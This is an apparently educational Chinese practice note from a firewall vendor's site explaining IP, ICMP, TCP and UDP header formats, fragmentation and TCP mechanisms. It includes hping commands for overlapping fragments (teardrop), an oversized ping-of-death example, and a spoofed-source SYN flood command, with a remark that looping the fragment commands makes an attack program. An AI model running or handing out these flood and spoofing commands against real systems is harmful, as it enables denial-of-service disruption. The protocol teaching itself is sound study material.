关于冰盾 | 使用条款 | 网站地图
 
TCP/IP协议与网络安全--SYN Flood攻击,泪滴攻击,死亡ping ----技术分解--实践笔记
TCP/IP协议与网络安全--SYN Flood攻击,泪滴攻击,死亡ping ----技术分解--实践笔记
作者:冰盾防火墙 网站:www.bingdun.com 日期:2014-12-02
 

IP数据报格式

 

 

从前往后依次是:报头中字段含义及所占位数

版本4bit首部长度4bit,区分服务8bit总长度16比特标识16bit,标志3bit,分片便宜13bit,生存时间8bit协议号8bit,校验和16bitIP32bit,目标ip32bit,选项

---ip数据包,报头总大小是20Byte,160bit

----TCP协议号为6UDP协议号为17

----IP数据包的总大小范围不能超过65535字节,216次幂

----分片偏移用于表示,数据包切割时是从第多少个字节切割的。英文:Fragement offset

----标志总共3位,第二位为0表示允许分片(用 may fragment关键字表示),第三位为1表示后面还有分片(用morefragments关键字表示),为0表示最后一个分片(用last fragment关键字表示)。用flags表示。

IP分片:每种不同类型的网络的链路层,可以传输的帧长度是不同的,所以要经过网络设备对iP数据包进行切割分片。

-----比如以太网帧的最大长度(MTU值)只能是1500字节,小于这个字节数的ip包会直接被封装成1个帧,而大于这个字节数的会被切割为1500字节大小

----PPP链路的MTU值为296字节

再分片:被分片的IP数据包的每个分片通过首部的标识,也称数据包ID来归类自己属于哪一个数据包,然后所有的分片到达目的地后会根据偏移量来重装,如果碰到链路层为更小MUT的网络,就会将分片的Ip包再分片。

分片安全问题:在老式操作系统中遇到IP分片中偏移量不合理的情况,就会产生分片重叠,然后系统崩溃,认为制造这种不合理分的话,就成为泪滴攻击。

 

linux中的hping命令,可以构造各种IPICMPTCPUDP报文,发给目标主机

-1 则会发送ICMP报文,即经过ICMP报头封装后又经IP报头封装的IP数据包

-2则会发送UDP报文,即经过UDP报头封装后又经IP报头封装的IP数据包

-p 可以指定目的主机端口号

-i   可以设置时间间隔,如:-i u100表示100微秒

-S 设置SYN标志

-a  伪造源ip地址

-c  发送数据包个数

-N  设置IP包的ID

-t  设置TTL 默认64

-x  设置ip报头 more fragments 标志

-g  设置fragment offset

-C 设置ICMP类型

-d  设置载荷大小,即ip数据包或分片IP数据包总大小,不算额外添加其他协议时的报头。

 

 

ICMP报文

ICMP报文首部主要字段内容依次为:

类型8bit代码8bit校验和16bit其余首部部分

长见类型分别为:03,  4 5811 12

类型0,和 8 用于查询,分别为回送请求Echo 和回送应答 Echo Reply

类型3 用于回送终点不可达报告,终点不可达又分为主机不可达和端口不可达,分别在代码字段用代码13表示

类型4 用于回送源抑制通知,当网络拥塞时,告知发送源放慢发送速度。

类型5 改变路由报告

类型11 用于回送超时报文,当路由器或主机收到数据报后,发现ttl分别为01的的话,将回送超时报文,并在代码段标记0;当主机长时间没有收到所有分片时,将回送超时报文,并在代码段标记1

类型12 报告参数问题

注意:此处的超时与ping命令的超时要区分开,ping命令是发出Echo请求后2秒没有收到回送应答就会显示超时request timed out .

 

几种构造ip数据包或分片,或ICMP报文的命令实例:

实例1ping –l 2000 192.168.1.1 –n 1

//发送一个载荷量为2000 echo请求报文给192.168.1.1

 

实例2:构造两个正常的ICMP 请求,ip数据包分片

./hping 192.168.1.1 -1 –x –d 1000 –N 100 –c 1

./hping 192.168.1.1 -1 –d 200 –g 1008 –N 100 –c 1

//第一个表示构造ICMP 的启用more fragment标志的,载荷量1000标识为100的一个分片;第二个类似,只是多设置了偏移量为1008 且没设置 more fragment 标志,(默认设置last fragment标志)

 

实例3:构造两个重叠便宜的IP分片

./hping 192.168.1.1 -1 –x –d 1000 –N 100 –c 1

./hping 192.168.1.1 -1 –d 200 –g 400 –N 100 –c 1

//构造了两个ICMP请求ip包分片,第一个载荷量1000,标识100,第二个载荷量200标识100,但本应偏移量为1008,可他却设置了400

这样在分片重组时就会重叠。

如果将向上述命令写入脚本,并用循环语句,持续发送,就成了发送泪滴攻击的攻击程序了。

 

TCP

tcp报文段封装在IP数据报中,

IP首部 TCP报文段

TCP报文段的首部格式

源端口号16bit目标端口号16bit序号32bit确认号32bit首部长度4保留6bit控制位6bit窗口值16bit校验和16bit紧急指针16bit选项40Byte

 

TCP从进程接收数据字节时,会把接收到的每个字节放在缓存中编号,第一个字节的编号会随机产生,范围是0~223-1,其他字节按顺序排列,第一个字节编号作为整个ctp数据段的序号。接收端会把数据按这个序号开始排列。


----CTP
首部长度20byte,最大60byte

---窗口值,可以用来实现流量控制

---紧急指针,当URG控制位为1时,紧急指针有效。

----选项,最多40byte

控制位:

URG---紧急指针有效位,根据紧急指针的值从报文段中提取数据放在队列最前面执行。

ACK--- ack=1时确认序列号字段有效

PSH---PSH1时,要求接收方尽快将数据送达应用层

RST----RST1时,重新建立TCP连接

SYN---同步序号位,ctp要建立连接时,此位设为1

FIN---当需要断开连接时,此位为1

连接建立:

第一次握手:客户端发送SYN到服务器,端口进入syn-send状态

第二次握手:服务器发送SYN+ACK到客户端,并进入syn-recv状态

第三次握手:客户端发出ACK 报文段,服务器和客户端都进入 established状态

 

 

 

连接终止:

客户端发送FIN+ACK报文到服务器,通知服务器自己要关闭端口

服务器发送ACK报文给客户端

服务器发送FIN+ACK报文到客户端

客户端发送ACK报文确认。

 

连接复位:

通过RST位置为1实现

一般应用于拒绝连接请求,或异常终止,或终止空闲连接。

 

TCPMSS

MSS表示 可以被终点接收的TCP报文段最大长度,不包括TCP首部长度

一般情况MSS=MTU-20-20

MSS通过客户机与服务器进行协商确定的,当两边都有声明时,取较小的一个值

都没申明,或有一方没有声明的话,取默认值536

MSS信息只存在SYN报文和SYN+ACK报文的选项字段中。

 

TCP其他机制:

1流量控制: TCP流量控制使用类似滑动窗口的机制实现,将缓存队列中的数据分为:已发送且已确认数据,已发送但未确认数据,可立即发送数据,在窗口展开前不能被发送的数据。

窗口范围内包含:已发送但未确认数据和可立即发送数据,通过窗口向前后展开的大小来控制一次性读取数据的多少,从而实现流量大小的控制。

 

2.差错控制

3:拥塞控制

4TCP计时器

分为:重传计时器,持久计时器,保活计时器,时间等待计时器。

 

UDP协议:

首部格式:

源端口号16bit 目的端口号16bit  UDP长度16bit校验和16bit

 

UDP除了校验和外没有其他差错控制机制,使用UDP需要额外提供这些机制。

 

实例模拟实现:死亡之ping (ping of death),当然如今的系统已经修复了老式系统的漏洞。

ping 192.168.1.1 –s 7000 –c 1

//结果为系统报错

hping 192.168.1.1 -1 –d 70000 –c 1

//结果为系统只截取4464大小的数据

 

实例:SYN Flood攻击

hping 192.168.1.1 –p 80 –i u1 –S –a 1.1.1.1

// 网页打开缓慢,CPU使用率升高,netstat –an 看到有很多 SYN_RECEIVED.

--------------------------------------------------------------------------------Frank Chen


 

 
最新内容:
深入浅出DDoS攻击防御[2014-12-02]
几种分布式攻击(ICMP、SYN Flood、Smurf)的防范[2014-12-02]
防止SYN洪水攻击的脚本[2014-12-02]
syn flood(SYN洪水攻击)[2014-12-02]
SYN攻击原理与检测[2014-12-02]
如何进行SYN攻击防范[2014-12-02]
相关内容:

合作伙伴: 黑基网 补天科技 威盾科技 站长下载 新飞金信 北京电信 ZOL应用下载
中华人民共和国增值电信业务经营许可证京ICP备14024464 公安备案号 京1081234 
版权所有©2003-2014 冰盾防火墙  www.BingDun.com 法律声明
总机:(010)51661195